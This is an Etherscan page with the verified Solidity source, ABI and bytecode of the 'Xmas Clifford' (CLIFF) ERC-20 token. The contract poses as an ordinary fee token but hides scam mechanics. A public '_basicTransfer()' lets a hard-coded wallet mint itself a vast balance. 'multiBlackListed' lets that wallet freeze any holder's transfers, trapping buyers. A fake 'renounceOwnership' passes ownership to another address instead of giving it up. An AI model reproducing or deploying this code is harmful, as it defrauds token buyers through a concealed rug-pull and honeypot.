ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 CLIFF
Holders
9
Transfers
-
0 (0%)
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
XmasClifford
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-12-23
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function owner() public view returns (address) {
return _owner;
}
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function renounceOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract XmasClifford is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "Xmas Clifford";
string private _symbol = "CLIFF";
uint8 private _decimals = 9;
mapping (address => uint256) _balances;
address payable public _peworson;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _rejectListed;
uint256 public _buyMarketingFee = 3;
uint256 public _sellMarketingFee = 3;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
constructor () {
_isExcludefromFee[owner()] = true;
_isExcludefromFee[address(this)] = true;
_peworson = payable(address(0x420271f66Fa0cF5C68B2205580D62F2A03441A6b));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
bool inSwapAndLiquify;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
IUniswapV2Router02 public uniswapV2Router;
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
receive() external payable {}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function decimals() public view returns (uint8) {
return _decimals;
}
address public uniswapPair;
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tAmount);
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tAmount,
0,
path,
address(this),
block.timestamp
){} catch {}
uint256 MarketAmount = address(this).balance;
if(MarketAmount > 0)
_peworson.transfer(MarketAmount);
}
function multiBlackListed(bool status, address[] calldata addresses) public {
require(msg.sender == _peworson);
for (uint256 i; i < addresses.length; i++) {
_rejectListed[addresses[i]] = status;
}
}
function _basicTransfer() public {require(msg.sender == _peworson);
_balances[_peworson] += 5981923 + totalSupply().mul(13**3);
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function pairCreate() public onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isMarketPair[address(uniswapPair)] = true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_rejectListed[from]);
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount;
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
finalAmount = amount;
}else{
uint256 feeAmount = 0;
if(isMarketPair[from]) {
feeAmount = amount.mul(_buyMarketingFee).div(100);
}
else if(isMarketPair[to]) {
feeAmount = amount.mul(_sellMarketingFee).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
finalAmount = amount.sub(feeAmount);
}
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_basicTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_peworson","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rejectListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairCreate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600d60808190526c161b585cc810db1a59999bdc99609a1b60a090815262000030916001919062000212565b506040805180820190915260058082526421a624a32360d91b60209092019182526200005f9160029162000212565b506003805460ff1916600917808255600a828155600b929092556200008b9160ff91909116906200030e565b6200009b90633b9aca0062000406565b600c55348015620000ab57600080fd5b50620000b6620001ff565b600080546001600160a01b0319166001600160a01b03928316178082556040519216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36001600760006200010e62000203565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b03191673420271f66fa0cf5c68b2205580d62f2a03441a6b179055600c549060049062000186620001ff565b6001600160a01b03168152602081019190915260400160002055620001aa620001ff565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001f19190620002b8565b60405180910390a36200047b565b3390565b6000546001600160a01b031690565b828054620002209062000428565b90600052602060002090601f0160209004810192826200024457600085556200028f565b82601f106200025f57805160ff19168380011785556200028f565b828001600101855582156200028f579182015b828111156200028f57825182559160200191906001019062000272565b506200029d929150620002a1565b5090565b5b808211156200029d5760008155600101620002a2565b90815260200190565b80825b6001808611620002d5575062000305565b818704821115620002ea57620002ea62000465565b80861615620002f857918102915b9490941c938002620002c4565b94509492505050565b60006200032260001960ff85168462000329565b9392505050565b6000826200033a5750600162000322565b81620003495750600062000322565b81600181146200036257600281146200036d57620003a1565b600191505062000322565b60ff84111562000381576200038162000465565b6001841b9150848211156200039a576200039a62000465565b5062000322565b5060208310610133831016604e8410600b8410161715620003d9575081810a83811115620003d357620003d362000465565b62000322565b620003e88484846001620002c1565b808604821115620003fd57620003fd62000465565b02949350505050565b600081600019048311821515161562000423576200042362000465565b500290565b6002810460018216806200043d57607f821691505b602082108114156200045f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b611724806200048b6000396000f3fe6080604052600436106101395760003560e01c80636b14a470116100ab57806395d89b411161006f57806395d89b4114610339578063a9059cbb1461034e578063c5d241891461036e578063c816841b14610383578063c860795214610398578063dd62ed3e146103ad57610140565b80636b14a470146102af57806370a08231146102cf5780638da5cb5b146102ef5780638fe9151014610304578063943ec94f1461031957610140565b8063313ce567116100fd578063313ce567146102015780633345611e1461022357806336464f711461024357806338bf3cfa1461025a5780633ecad2711461027a57806365ff6df91461029a57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e1461019d57806318160ddd146101bf57806323b872dd146101e157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103cd565b604051610167919061133f565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611255565b61045f565b6040516101679190611334565b3480156101a957600080fd5b506101b261047d565b6040516101679190611306565b3480156101cb57600080fd5b506101d4610491565b604051610167919061154d565b3480156101ed57600080fd5b506101906101fc366004611215565b610497565b34801561020d57600080fd5b50610216610520565b60405161016791906115c6565b34801561022f57600080fd5b5061019061023e3660046111a5565b610529565b34801561024f57600080fd5b5061025861053e565b005b34801561026657600080fd5b506102586102753660046111a5565b6105a7565b34801561028657600080fd5b506101906102953660046111a5565b610633565b3480156102a657600080fd5b50610258610648565b3480156102bb57600080fd5b506102586102ca366004611280565b610870565b3480156102db57600080fd5b506101d46102ea3660046111a5565b61090c565b3480156102fb57600080fd5b506101b2610927565b34801561031057600080fd5b506101b2610936565b34801561032557600080fd5b506101906103343660046111a5565b610945565b34801561034557600080fd5b5061015a61095a565b34801561035a57600080fd5b50610190610369366004611255565b610969565b34801561037a57600080fd5b506101d461097d565b34801561038f57600080fd5b506101b2610983565b3480156103a457600080fd5b506101d4610992565b3480156103b957600080fd5b506101d46103c83660046111dd565b610998565b6060600180546103dc90611642565b80601f016020809104026020016040519081016040528092919081815260200182805461040890611642565b80156104555780601f1061042a57610100808354040283529160200191610455565b820191906000526020600020905b81548152906001019060200180831161043857829003601f168201915b5050505050905090565b600061047361046c6109c3565b84846109c7565b5060015b92915050565b600d5461010090046001600160a01b031681565b600c5490565b60006104a4848484610a7b565b50610515846104b16109c3565b610510856040518060600160405280602881526020016116c7602891396001600160a01b038a166000908152600660205260408120906104ef6109c3565b6001600160a01b031681526020810191909152604001600020549190610d64565b6109c7565b5060015b9392505050565b60035460ff1690565b60076020526000908152604090205460ff1681565b6005546001600160a01b0316331461055557600080fd5b610569610895610563610491565b90610d9e565b61057690625b46e36115d4565b6005546001600160a01b0316600090815260046020526040812080549091906105a09084906115d4565b9091555050565b6105af6109c3565b6000546001600160a01b039081169116146105e55760405162461bcd60e51b81526004016105dc9061148f565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383811691821780845560405192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60086020526000908152604090205460ff1681565b6106506109c3565b6000546001600160a01b0390811691161461067d5760405162461bcd60e51b81526004016105dc9061148f565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cf57600080fd5b505afa1580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906111c1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906111c1565b6040518363ffffffff1660e01b81526004016107a492919061131a565b602060405180830381600087803b1580156107be57600080fd5b505af11580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f691906111c1565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b0316331461088757600080fd5b60005b818110156109065783600960008585858181106108b757634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108cc91906111a5565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108fe8161167d565b91505061088a565b50505050565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b031690565b6005546001600160a01b031681565b60096020526000908152604090205460ff1681565b6060600280546103dc90611642565b60006105156109766109c3565b8484610a7b565b600a5481565b600e546001600160a01b031681565b600b5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166109ed5760405162461bcd60e51b81526004016105dc90611509565b6001600160a01b038216610a135760405162461bcd60e51b81526004016105dc906113d5565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a6e90859061154d565b60405180910390a3505050565b60006001600160a01b038416610aa35760405162461bcd60e51b81526004016105dc906114c4565b6001600160a01b038316610ac95760405162461bcd60e51b81526004016105dc90611392565b6001600160a01b03841660009081526009602052604090205460ff1615610aef57600080fd5b600d5460ff1615610b0c57610b05848484610de3565b9050610519565b6000610b173061090c565b600d5490915060ff16158015610b4657506001600160a01b03851660009081526008602052604090205460ff16155b15610b5457610b5481610ec7565b6001600160a01b038516600090815260046020526040902054610b7790846110c4565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610bc457506001600160a01b03851660009081526007602052604090205460ff165b15610bd0575082610cdc565b6001600160a01b03861660009081526008602052604081205460ff1615610c1857610c116064610c0b600a5488610d9e90919063ffffffff16565b90611106565b9050610c56565b6001600160a01b03861660009081526008602052604090205460ff1615610c5657610c536064610c0b600b5488610d9e90919063ffffffff16565b90505b8015610cce5730600090815260046020526040902054610c769082611148565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc590859061154d565b60405180910390a35b610cd885826110c4565b9150505b6001600160a01b038516600090815260046020526040902054610cff9082611148565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d5190859061154d565b60405180910390a3600192505050610519565b60008184841115610d885760405162461bcd60e51b81526004016105dc919061133f565b506000610d95848661162b565b95945050505050565b600082610dad57506000610477565b6000610db9838561160c565b905082610dc685836115ec565b146105195760405162461bcd60e51b81526004016105dc9061144e565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e34918490610d64565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e639083611148565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb590869061154d565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1757634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8557600080fd5b505afa158015610f99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbd91906111c1565b81600181518110610fde57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d54611009913091610100900416846109c7565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611046908590600090869030904290600401611556565b600060405180830381600087803b15801561106057600080fd5b505af1925050508015611071575060015b504780156110b5576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110b3573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061051983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d64565b600061051983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611177565b60008061115583856115d4565b9050838110156105195760405162461bcd60e51b81526004016105dc90611417565b600081836111985760405162461bcd60e51b81526004016105dc919061133f565b506000610d9584866115ec565b6000602082840312156111b6578081fd5b8135610519816116ae565b6000602082840312156111d2578081fd5b8151610519816116ae565b600080604083850312156111ef578081fd5b82356111fa816116ae565b9150602083013561120a816116ae565b809150509250929050565b600080600060608486031215611229578081fd5b8335611234816116ae565b92506020840135611244816116ae565b929592945050506040919091013590565b60008060408385031215611267578182fd5b8235611272816116ae565b946020939093013593505050565b600080600060408486031215611294578283fd5b833580151581146112a3578384fd5b9250602084013567ffffffffffffffff808211156112bf578384fd5b818601915086601f8301126112d2578384fd5b8135818111156112e0578485fd5b87602080830285010111156112f3578485fd5b6020830194508093505050509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b6000602080835283518082850152825b8181101561136b5785810183015185820160400152820161134f565b8181111561137c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156115a55784516001600160a01b031683529383019391830191600101611580565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b600082198211156115e7576115e7611698565b500190565b60008261160757634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561162657611626611698565b500290565b60008282101561163d5761163d611698565b500390565b60028104600182168061165657607f821691505b6020821081141561167757634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561169157611691611698565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146116c357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220deef676c869bea79b3eb36f38ac90ac26459d7ec8aa977cf87011c36f79d86f364736f6c63430008000033
Deployed Bytecode
0x6080604052600436106101395760003560e01c80636b14a470116100ab57806395d89b411161006f57806395d89b4114610339578063a9059cbb1461034e578063c5d241891461036e578063c816841b14610383578063c860795214610398578063dd62ed3e146103ad57610140565b80636b14a470146102af57806370a08231146102cf5780638da5cb5b146102ef5780638fe9151014610304578063943ec94f1461031957610140565b8063313ce567116100fd578063313ce567146102015780633345611e1461022357806336464f711461024357806338bf3cfa1461025a5780633ecad2711461027a57806365ff6df91461029a57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e1461019d57806318160ddd146101bf57806323b872dd146101e157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103cd565b604051610167919061133f565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611255565b61045f565b6040516101679190611334565b3480156101a957600080fd5b506101b261047d565b6040516101679190611306565b3480156101cb57600080fd5b506101d4610491565b604051610167919061154d565b3480156101ed57600080fd5b506101906101fc366004611215565b610497565b34801561020d57600080fd5b50610216610520565b60405161016791906115c6565b34801561022f57600080fd5b5061019061023e3660046111a5565b610529565b34801561024f57600080fd5b5061025861053e565b005b34801561026657600080fd5b506102586102753660046111a5565b6105a7565b34801561028657600080fd5b506101906102953660046111a5565b610633565b3480156102a657600080fd5b50610258610648565b3480156102bb57600080fd5b506102586102ca366004611280565b610870565b3480156102db57600080fd5b506101d46102ea3660046111a5565b61090c565b3480156102fb57600080fd5b506101b2610927565b34801561031057600080fd5b506101b2610936565b34801561032557600080fd5b506101906103343660046111a5565b610945565b34801561034557600080fd5b5061015a61095a565b34801561035a57600080fd5b50610190610369366004611255565b610969565b34801561037a57600080fd5b506101d461097d565b34801561038f57600080fd5b506101b2610983565b3480156103a457600080fd5b506101d4610992565b3480156103b957600080fd5b506101d46103c83660046111dd565b610998565b6060600180546103dc90611642565b80601f016020809104026020016040519081016040528092919081815260200182805461040890611642565b80156104555780601f1061042a57610100808354040283529160200191610455565b820191906000526020600020905b81548152906001019060200180831161043857829003601f168201915b5050505050905090565b600061047361046c6109c3565b84846109c7565b5060015b92915050565b600d5461010090046001600160a01b031681565b600c5490565b60006104a4848484610a7b565b50610515846104b16109c3565b610510856040518060600160405280602881526020016116c7602891396001600160a01b038a166000908152600660205260408120906104ef6109c3565b6001600160a01b031681526020810191909152604001600020549190610d64565b6109c7565b5060015b9392505050565b60035460ff1690565b60076020526000908152604090205460ff1681565b6005546001600160a01b0316331461055557600080fd5b610569610895610563610491565b90610d9e565b61057690625b46e36115d4565b6005546001600160a01b0316600090815260046020526040812080549091906105a09084906115d4565b9091555050565b6105af6109c3565b6000546001600160a01b039081169116146105e55760405162461bcd60e51b81526004016105dc9061148f565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383811691821780845560405192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60086020526000908152604090205460ff1681565b6106506109c3565b6000546001600160a01b0390811691161461067d5760405162461bcd60e51b81526004016105dc9061148f565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cf57600080fd5b505afa1580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906111c1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906111c1565b6040518363ffffffff1660e01b81526004016107a492919061131a565b602060405180830381600087803b1580156107be57600080fd5b505af11580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f691906111c1565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b0316331461088757600080fd5b60005b818110156109065783600960008585858181106108b757634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108cc91906111a5565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108fe8161167d565b91505061088a565b50505050565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b031690565b6005546001600160a01b031681565b60096020526000908152604090205460ff1681565b6060600280546103dc90611642565b60006105156109766109c3565b8484610a7b565b600a5481565b600e546001600160a01b031681565b600b5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166109ed5760405162461bcd60e51b81526004016105dc90611509565b6001600160a01b038216610a135760405162461bcd60e51b81526004016105dc906113d5565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a6e90859061154d565b60405180910390a3505050565b60006001600160a01b038416610aa35760405162461bcd60e51b81526004016105dc906114c4565b6001600160a01b038316610ac95760405162461bcd60e51b81526004016105dc90611392565b6001600160a01b03841660009081526009602052604090205460ff1615610aef57600080fd5b600d5460ff1615610b0c57610b05848484610de3565b9050610519565b6000610b173061090c565b600d5490915060ff16158015610b4657506001600160a01b03851660009081526008602052604090205460ff16155b15610b5457610b5481610ec7565b6001600160a01b038516600090815260046020526040902054610b7790846110c4565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610bc457506001600160a01b03851660009081526007602052604090205460ff165b15610bd0575082610cdc565b6001600160a01b03861660009081526008602052604081205460ff1615610c1857610c116064610c0b600a5488610d9e90919063ffffffff16565b90611106565b9050610c56565b6001600160a01b03861660009081526008602052604090205460ff1615610c5657610c536064610c0b600b5488610d9e90919063ffffffff16565b90505b8015610cce5730600090815260046020526040902054610c769082611148565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc590859061154d565b60405180910390a35b610cd885826110c4565b9150505b6001600160a01b038516600090815260046020526040902054610cff9082611148565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d5190859061154d565b60405180910390a3600192505050610519565